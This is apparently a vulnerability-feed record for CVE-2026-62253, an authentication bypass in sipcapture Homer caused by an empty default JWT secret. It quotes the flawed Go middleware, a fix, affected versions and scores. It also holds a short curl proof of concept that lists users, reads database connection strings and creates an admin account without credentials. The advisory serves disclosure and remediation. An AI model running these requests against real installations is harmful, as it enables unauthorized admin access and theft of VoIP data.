{"schema":"threatline.record/2","record":{"id":"CVE-2026-62253","aliases":["GHSA-rqcc-94gv-wjm9","GO-2026-6673"],"summary":"Homer: Complete Authentication Bypass When coordinator.jwt.secret Is Empty (Default)","details":"### Summary\nBoth JWT middleware functions (`JWTMiddleware` and `JWTMiddlewareV4`) immediately return `next(c)` when `jwtSecret == \"\"`. The JWT secret defaults to an empty string. On a default installation, all protected API endpoints under `/api/v1`, `/api/v3`, and `/api/v4` are completely unauthenticated.\n\n### Details\n**`coordinator/handlers/auth.go` lines 298-304:**\n```go\nfunc (h *Auth) JWTMiddleware() echo.MiddlewareFunc {\n    return func(next echo.HandlerFunc) echo.HandlerFunc {\n        return func(c echo.Context) error {\n            if h.jwtSecret == \"\" {\n                return next(c)  // bypass — no validation performed\n            }\n```\n\n**`coordinator/handlers/auth_v4_helpers.go` lines 177-182:**\n```go\nfunc (h *Auth) JWTMiddlewareV4() echo.MiddlewareFunc {\n    return func(next echo.HandlerFunc) echo.HandlerFunc {\n        return func(c echo.Context) error {\n            if h.jwtSecret == \"\" {\n                return next(c)  // same bypass\n```\n\n**`coordinator/coordinator.go` lines 315-317:**\n```go\nif c.config.JWT.Secret != \"\" {\n    protected.Use(authHandler.JWTMiddleware())  // middleware not even registered when secret is empty\n}\n```\n\n**`config/config.go` line 845:** `Secret` field struct tag has `default:\"\"`.\nThe example config ships a placeholder value, but the Go struct default (used when no config is provided) is empty.\n\n### PoC\n```bash\n# On a default Homer installation (no JWT secret configured), all protected routes are open:\ncurl http://<homer-host>/api/v3/users\n# Returns full user list with no credentials\n\ncurl http://<homer-host>/api/v3/databases\n# Returns all database connection strings\n\ncurl -X POST http://<homer-host>/api/v3/users \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"attacker\",\"password\":\"pw\",\"partid\":10,\"usergroup\":\"admin\"}'\n# Creates a new admin user with no credentials\n```\n\n### Impact\nMissing Authentication for Critical Function (CWE-306). On a default Homer installation with no JWT secret configured, every admin API endpoint is completely unauthenticated. Attackers can read/write all configuration, users, database connections, and stored VoIP call data.\n\n### Fix\nFail closed: if `JWT.Secret` is empty at startup, abort with a fatal error requiring the operator to set a strong secret. Remove the empty-string shortcircuit from both middleware functions:\n```go\nif h.jwtSecret == \"\" {\n    log.Fatal(\"coordinator.jwt.secret must be set to a non-empty value\")\n}\n```\n\nIf possible, please apply for a CVE number when posting.","categories":["Libraries & packages"],"product":"github.com/sipcapture/homer-app","vendor":"sipcapture","ecosystem":"go","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-rqcc-94gv-wjm9","source_modified_at":"2026-10-07T16:11:59Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"github.com/sipcapture/homer-app"},"range":"< 0.0.0-20260625093330-5e90809657c9"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-62253","source_modified_at":"2026-10-10T02:36:21.763Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"homer","vendor":"sipcapture","versions":[{"status":"affected","version":"< 11.0.283"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-rqcc-94gv-wjm9","source_modified_at":"2026-10-20T00:55:52.571323559Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"github.com/sipcapture/homer-app","ecosystem":"Go","purl":"pkg:golang/github.com/sipcapture/homer-app"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20260625093330-5e90809657c9"}]}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-rqcc-94gv-wjm9","source_modified_at":"2026-10-07T16:11:59Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"github.com/sipcapture/homer-app"},"version":"0.0.0-20260625093330-5e90809657c9"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-rqcc-94gv-wjm9","source_modified_at":"2026-10-20T00:55:52.571323559Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"github.com/sipcapture/homer-app","ecosystem":"Go","purl":"pkg:golang/github.com/sipcapture/homer-app"},"version":"0.0.0-20260625093330-5e90809657c9"}],"cvss":9.8,"severity":"Critical","kev":{"listed":false},"epss":{"probability":0.00423,"percentile":0.35543,"score_date":"2026-10-23"},"published_at":"2026-10-07T16:11:00.294Z","modified_at":"2026-10-20T00:55:52.571323559Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-rqcc-94gv-wjm9","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-07T16:11:59Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-62253","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-10T02:36:21.763Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-rqcc-94gv-wjm9","fetched_at":"2026-10-23T18:48:36.087640Z","source_modified_at":"2026-10-20T00:55:52.571323559Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-62253","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/sipcapture/homer/security/advisories/GHSA-rqcc-94gv-wjm9","tags":["exploit"]},{"source":"CVE List","url":"https://github.com/sipcapture/homer/pull/839","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/sipcapture/homer/commit/5e90809657c9df321db191a69c6050f873f5646b","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/sipcapture/homer/releases/tag/11.0.283","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-rqcc-94gv-wjm9","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"total","assessed_at":"2026-10-10T02:35:55.234659Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-20T00:55:52.571323559Z","content_hash":"534f0d3bdf90cbd64b8147958b41aafbed4e691a6eb4957d0edc965702e4d5b9"}}
